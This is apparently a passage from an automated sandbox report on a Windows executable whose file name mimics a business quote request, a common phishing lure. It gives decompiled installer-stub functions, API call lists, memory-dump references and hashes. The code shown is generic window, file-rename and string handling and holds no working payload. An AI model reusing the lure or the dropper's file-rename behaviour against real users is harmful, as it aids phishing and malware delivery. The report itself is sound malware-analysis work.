				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420458 =  *0x420458 & 0x00000000;
				return 0;
			}

0x00403ee7
0x0040400d
0x00404069
0x0040406d
0x00404144
0x00404146
0x00404146
0x0040414c
0x0040414c
0x0040414f
0x00000000
0x00404156
0x0040407b
0x0040407d
0x00404087
0x00404092
0x00404095
0x00404098
0x004040a3
0x004040a6
0x004040ad
0x004040bb
0x004040d3
0x004040db
0x004040e6
0x004040f6
0x004040f8
0x004040f8
0x004040ad
0x00404102
0x00000000
0x0040410d
0x00404111
0x00404122
0x00404122
0x00404128
0x00404136
0x00404136
0x00000000
0x0040413a
0x00404102
0x00404018
0x00000000
0x0040402c
0x00404032
0x00404038
0x00000000
0x00000000
0x0040405d
0x0040405f
0x00404064
0x00000000
0x00404064
0x00404018
0x00403eed
0x00403ef0
0x00403ef5
0x00403f06
0x00403f06
0x00403f0d
0x00403f10
0x00403f12
0x00403f17
0x00403f20
0x00403f26
0x00403f32
0x00403f35
0x00403f3e
0x00403f43
0x00403f46
0x00403f4b
0x00403f62
0x00403f69
0x00403f7c
0x00403f7f
0x00403f94
0x00403f9b
0x00403fa0
0x00403fa5
0x00403fa5
0x00403fb4
0x00403fc3
0x00403fc5
0x00403fdb
0x00403fea
0x00403fec
0x00000000

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00403F62
GetDlgItem.USER32 ref: 00403F76
SendMessageA.USER32 ref: 00403F94
GetSysColor.USER32(?), ref: 00403FA5
SendMessageA.USER32 ref: 00403FB4
SendMessageA.USER32 ref: 00403FC3
lstrlenA.KERNEL32(?), ref: 00403FCD
SendMessageA.USER32 ref: 00403FDB
SendMessageA.USER32 ref: 00403FEA
GetDlgItem.USER32 ref: 0040404D
SendMessageA.USER32 ref: 00404050
GetDlgItem.USER32 ref: 0040407B
SendMessageA.USER32 ref: 004040BB
LoadCursorA.USER32 ref: 004040CA
SetCursor.USER32(00000000), ref: 004040D3
ShellExecuteA.SHELL32(0000070B,open, .B,00000000,00000000,00000001), ref: 004040E6
LoadCursorA.USER32 ref: 004040F3
SetCursor.USER32(00000000), ref: 004040F6
SendMessageA.USER32 ref: 00404122
SendMessageA.USER32 ref: 00404136

Strings

N, xrefs: 00404069
.B, xrefs: 004040DB
open, xrefs: 004040DE

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: .B$N$open
API String ID: 3615053054-847860968
Opcode ID: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction ID: 4310844e4bc5412d85e0e67e924f78a0a7df87fdbfd2fc52009ff806257c2229
Opcode Fuzzy Hash: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction Fuzzy Hash: 3161A1B1A40209BFEB109F60DC45F6A7B69EB54715F108036FB05BA2D1C7B8E951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423e90;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x423680, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x423e88;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00423680,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction ID: 87972a138d556bacb88ba9c7fcdf6f47da3ec758f00315b8b39b68d2b09e4b9a
Opcode Fuzzy Hash: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction Fuzzy Hash: 6441BC71804249AFCB058FA4CD459BFBFB9FF44314F00812AF951AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040572B, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040572B() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405CFF(1);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x423f10 =  *0x423f10 + 1;
						return _t20;
					}
				}
				 *0x422608 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x422080, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421c80, "%s=%s\r\n", 0x422608, 0x422080);
						_t56 = _t55 + 0x10;
						E004059FF(_t43, 0x400, 0x422080, 0x422080,  *((intOrPtr*)( *0x423e90 + 0x128)));
						_t20 = E004056B4(0x422080, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E00405629(_t51, "[Rename]\r\n") != 0) {
								_t28 = E00405629(_t26 + 0xa, 0x409330);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E00405675(_t51 + _t29, 0x421c80, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E004059DD(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E004056B4(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x422608, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x00405731
0x00405738
0x0040573c
0x00405745
0x00405749
0x00405888
0x00405888
0x00000000
0x00405888
0x00405749
0x00405755
0x0040576b
0x00405793
0x0040579e
0x004057a2
0x004057c2
0x004057c9
0x004057d3
0x004057e0
0x004057e5
0x004057ea
0x004057ee
0x00000000
0x00000000
0x004057fd
0x004057ff
0x0040580c
0x00405810
0x00405881
0x00405882
0x00000000
0x0040582c
0x00405839
0x0040589e
0x004058a5
0x0040584c
0x0040584c
0x0040584e
0x00405857
0x00405862
0x00405874
0x0040587b
0x00000000
0x0040587b
0x004058a7
0x004058a8
0x004058ad
0x004058af
0x004058bc
0x004058bc
0x004058c0
0x00000000
0x00000000
0x00000000
0x00000000
0x004058b1
0x004058b1
0x004058b4
0x004058b7
0x004058b8
0x00000000
0x004058b1
0x00405844
0x00405849
0x00000000
0x00405849
0x00405810
0x0040576d
0x00405778
0x00405781
0x00405785
0x00000000
0x00000000
0x00405785
0x00405892

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,004054C0,?,00000000,000000F1,?), ref: 00405778
GetShortPathNameA.KERNEL32(?,00422608,00000400), ref: 00405781
GetShortPathNameA.KERNEL32(00000000,00422080,00000400), ref: 0040579E
wsprintfA.USER32 ref: 004057BC
GetFileSize.KERNEL32(00000000,00000000,00422080,C0000000,00000004,00422080,?,?,?,00000000,000000F1,?), ref: 004057F7
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 00405806
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 0040581C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421C80,00000000,-0000000A,00409330,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405862
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 00405874
GlobalFree.KERNEL32 ref: 0040587B
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405882

Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Strings

[Rename], xrefs: 0040582C, 0040583E
%s=%s, xrefs: 004057B2

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$[Rename]
API String ID: 3772915668-1727408572
Opcode ID: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction ID: 243778ea09c2d6121d89995a0746b628a30f71b2b4e684d8516dd3187c24d480
Opcode Fuzzy Hash: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction Fuzzy Hash: 0E412032A05B067BE3207B619C48F6B3A5CEB40754F004436FD05F62D2EA38A8018ABE

Uniqueness

Uniqueness Score: -1.00%

Function 100025FE, Relevance: 16.6, APIs: 11, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100025FE(void* __edx, intOrPtr* _a4) {
				intOrPtr _v4;
				intOrPtr* _t18;
				intOrPtr _t21;
				void* _t23;
				short* _t24;
				void* _t25;
				void* _t30;
				void* _t32;
				void* _t34;
				int _t36;
				void* _t39;
				void* _t42;
				intOrPtr _t52;
				short** _t55;
				void* _t60;
				int _t61;
				int _t62;
				void* _t63;
				short** _t64;
				void* _t65;
				void* _t66;

				_t60 = __edx;
				_t18 = _a4;
				_t52 =  *((intOrPtr*)(_t18 + 0x814));
				_v4 = _t52;
				_t55 = (_t52 + 0x41 << 5) + _t18;
				do {
					if( *((intOrPtr*)(_t55 - 4)) != 0xffffffff) {
						_t64 = _t55;
					} else {
						_t64 =  *_t55;
					}
					_t65 = E10001541();
					_t61 = 0;
					_t21 =  *((intOrPtr*)(_t55 - 8));
					if(_t21 == 0) {
						lstrcpyA(_t65, 0x10004034);
					} else {
						_t30 = _t21 - 1;
						if(_t30 == 0) {
							_push( *_t64);
							goto L12;
						} else {
							_t32 = _t30 - 1;
							if(_t32 == 0) {
								E1000176C(_t60,  *_t64, _t64[1], _t65);
								goto L13;
							} else {
								_t34 = _t32 - 1;
								if(_t34 == 0) {
									_t62 = lstrlenA( *_t64);
									_t36 =  *0x10004058;
									if(_t62 >= _t36) {
										_t62 = _t36 - 1;
									}
									_t7 = _t62 + 1; // 0x1
									lstrcpynA(_t65,  *_t64, _t7);
									 *(_t62 + _t65) =  *(_t62 + _t65) & 0x00000000;
									goto L15;
								} else {
									_t39 = _t34 - 1;
									if(_t39 == 0) {
										WideCharToMultiByte(0, 0,  *_t64,  *0x10004058, _t65,  *0x10004058, 0, 0);
									} else {
										_t42 = _t39 - 1;
										if(_t42 == 0) {
											_t63 = GlobalAlloc(0x40,  *0x10004058 +  *0x10004058);
											__imp__StringFromGUID2( *_t64, _t63,  *0x10004058 +  *0x10004058);
											WideCharToMultiByte(0, 0, _t63,  *0x10004058, _t65,  *0x10004058, 0, 0);
											GlobalFree(_t63);
											L15:
											_t61 = 0;
										} else {
											if(_t42 == 1) {
												_push( *_t55);
												L12:
												wsprintfA(_t65, 0x10004008);
												L13:
												_t66 = _t66 + 0xc;
											}
										}
									}
								}
							}
						}
					}
					_t23 = _t55[5];
					if(_t23 != _t61 && ( *_a4 != 2 ||  *((intOrPtr*)(_t55 - 4)) > _t61)) {
						GlobalFree(_t23);
					}
					_t24 = _t55[4];
					if(_t24 != _t61) {
						if(_t24 != 0xffffffff) {
							if(_t24 > _t61) {
								E1000160E(_t24 - 1, _t65);
								goto L32;
							}
						} else {
							E1000159E(_t65);
							L32:
						}
					}
					_t25 = GlobalFree(_t65);
					_v4 = _v4 - 1;
					_t55 = _t55 - 0x20;
				} while (_v4 >= _t61);
				return _t25;
			}

0x100025fe
0x100025ff
0x10002606
0x1000260d
0x10002617
0x10002619
0x1000261d
0x10002623
0x1000261f
0x1000261f
0x1000261f
0x1000262a
0x1000262f
0x10002631
0x10002633
0x1000270c
0x10002639
0x10002639
0x1000263a
0x100026ff
0x00000000
0x10002640
0x10002640
0x10002641
0x100026f5
0x00000000
0x10002647
0x10002647
0x10002648
0x100026ce
0x100026d0
0x100026d7
0x100026d9
0x100026d9
0x100026dc
0x100026e3
0x100026e9
0x00000000
0x1000264a
0x1000264a
0x1000264b
0x100026be
0x1000264d
0x1000264d
0x1000264e
0x1000267d
0x1000268a
0x1000269f
0x100026a6
0x100026ac
0x100026ac
0x10002650
0x10002651
0x10002657
0x10002659
0x1000265f
0x10002665
0x10002665
0x10002665
0x10002651
0x1000264e
0x1000264b
0x10002648
0x10002641
0x1000263a
0x10002712
0x10002717
0x10002728
0x10002728
0x1000272e
0x10002733
0x10002738
0x10002744
0x10002749
0x00000000
0x1000274e
0x1000273a
0x1000273b
0x1000274f
0x1000274f
0x10002738
0x10002751
0x10002757
0x1000275b
0x1000275e
0x1000276d

APIs

wsprintfA.USER32 ref: 1000265F
GlobalAlloc.KERNEL32(00000040,?,?,?,?,00000000,00000001,10001A8A,00000000), ref: 10002677
StringFromGUID2.OLE32(?,00000000,?,?,?,?,00000000,00000001,10001A8A,00000000), ref: 1000268A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000000,00000001,10001A8A,00000000), ref: 1000269F
GlobalFree.KERNEL32 ref: 100026A6

Part of subcall function 1000160E: lstrcpyA.KERNEL32(-10004047,00000000,?,1000118F,?,00000000), ref: 10001636

GlobalFree.KERNEL32 ref: 10002728
GlobalFree.KERNEL32 ref: 10002751

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$AllocByteCharFromMultiStringWidelstrcpywsprintf
String ID:
API String ID: 2278267121-0
Opcode ID: f2d90fb7604344b88e62606892e29dab83ffb9f5e480ef13eb80547e1e232e8e
Instruction ID: 08b3d8036d164c5881487be7a8a394305a4816547ccba51f0c52e2d45aca7b17
Opcode Fuzzy Hash: f2d90fb7604344b88e62606892e29dab83ffb9f5e480ef13eb80547e1e232e8e
Instruction Fuzzy Hash: 97419D71109555EFF712DF24CC88E2BBBEDFB843C0B124519FA45C616DDB32AC509A21

Uniqueness

Uniqueness Score: -1.00%

Function 00405C3F, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C3F(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E0040553D(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004054FB("*?|<>/\":", _t5))) == 0) {
							E00405675(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405c41
0x00405c49
0x00405c5d
0x00405c5d
0x00405c63
0x00405c70
0x00405c70
0x00405c71
0x00405c73
0x00405c77
0x00405c79
0x00405c82
0x00405c84
0x00405c9e
0x00405ca6
0x00405ca6
0x00405cab
0x00405cad
0x00405caf
0x00405cb3
0x00405cb4
0x00405cb7
0x00405cbf
0x00405cc1
0x00405cc5
0x00000000
0x00000000
0x00405ccb
0x00405cd0
0x00000000
0x00000000
0x00000000
0x00405cd0
0x00405cd5

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
CharPrevA.USER32(?,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

Strings

"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" , xrefs: 00405C45
*?|<>/":, xrefs: 00405C87
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C40, 00405C7B

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-97317633
Opcode ID: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction ID: 6e21827f4117d195ccc2fee92ee9dbca2865e9be55a4e6ca6148cbd3e4a13511
Opcode Fuzzy Hash: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction Fuzzy Hash: F011905580CB942AFB3206384C48B776F99CB67764F58407BE8C4723C2D67C5C429B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403DF6, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403DF6(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403e08
0x00403e9c
0x00000000
0x00403e9c
0x00403e19
0x00403e1d
0x00000000
0x00000000
0x00403e23
0x00403e2c
0x00403e2f
0x00403e2f
0x00403e35
0x00403e3b
0x00403e3b
0x00403e47
0x00403e4d
0x00403e54
0x00403e57
0x00403e5a
0x00403e5c
0x00403e5c
0x00403e64
0x00403e6a
0x00403e6a
0x00403e74
0x00403e79
0x00403e7c
0x00403e81
0x00403e84
0x00403e84
0x00403e94
0x00403e94
0x00000000

APIs

GetWindowLongA.USER32 ref: 00403E13
GetSysColor.USER32(00000000), ref: 00403E2F
SetTextColor.GDI32(?,00000000), ref: 00403E3B
SetBkMode.GDI32(?,?), ref: 00403E47
GetSysColor.USER32(?), ref: 00403E5A
SetBkColor.GDI32(?,?), ref: 00403E6A
DeleteObject.GDI32(?), ref: 00403E84
CreateBrushIndirect.GDI32(?), ref: 00403E8E

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 6c7fdd900eb09a88ca35fb2207b5deae9db7ec429e3ae93f4f07cdddb38981b8
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: 1F219671904744ABCB219F78DD08B4B7FF8AF00715F048A2AF856E22E1C338EA04CB95

Uniqueness

Uniqueness Score: -1.00%

Function 10002440, Relevance: 10.6, APIs: 7, Instructions: 136
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E10002440(void* __edx, intOrPtr _a4) {
				signed int _v4;
				CHAR* _t32;
				intOrPtr _t33;
				void* _t34;
				void* _t36;
				void* _t43;
				void** _t49;
				CHAR* _t58;
				void* _t59;
				signed int* _t60;
				void* _t61;
				intOrPtr* _t62;
				CHAR* _t63;
				void* _t73;

				_t59 = __edx;
				_v4 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t62 = (_v4 << 5) + _t9;
					_t32 =  *(_t62 + 0x14);
					if(_t32 == 0) {
						goto L9;
					}
					_t58 = 0x1a;
					if(_t32 == _t58) {
						goto L9;
					}
					if(_t32 != 0xffffffff) {
						if(_t32 <= 0 || _t32 > 0x19) {
							 *(_t62 + 0x14) = _t58;
						} else {
							_t32 = E100015E5(_t32 - 1);
							L10:
						}
						goto L11;
					} else {
						_t32 = E10001561();
						L11:
						_t63 = _t32;
						_t13 = _t62 + 8; // 0x820
						_t60 = _t13;
						if( *((intOrPtr*)(_t62 + 4)) != 0xffffffff) {
							_t49 = _t60;
						} else {
							_t49 =  *_t60;
						}
						_t33 =  *_t62;
						 *(_t62 + 0x1c) =  *(_t62 + 0x1c) & 0x00000000;
						if(_t33 == 0) {
							 *_t60 =  *_t60 & 0x00000000;
						} else {
							if(_t33 == 1) {
								_t36 = E10001641(_t63);
								L27:
								 *_t49 = _t36;
								L31:
								_t34 = GlobalFree(_t63);
								if(_v4 == 0) {
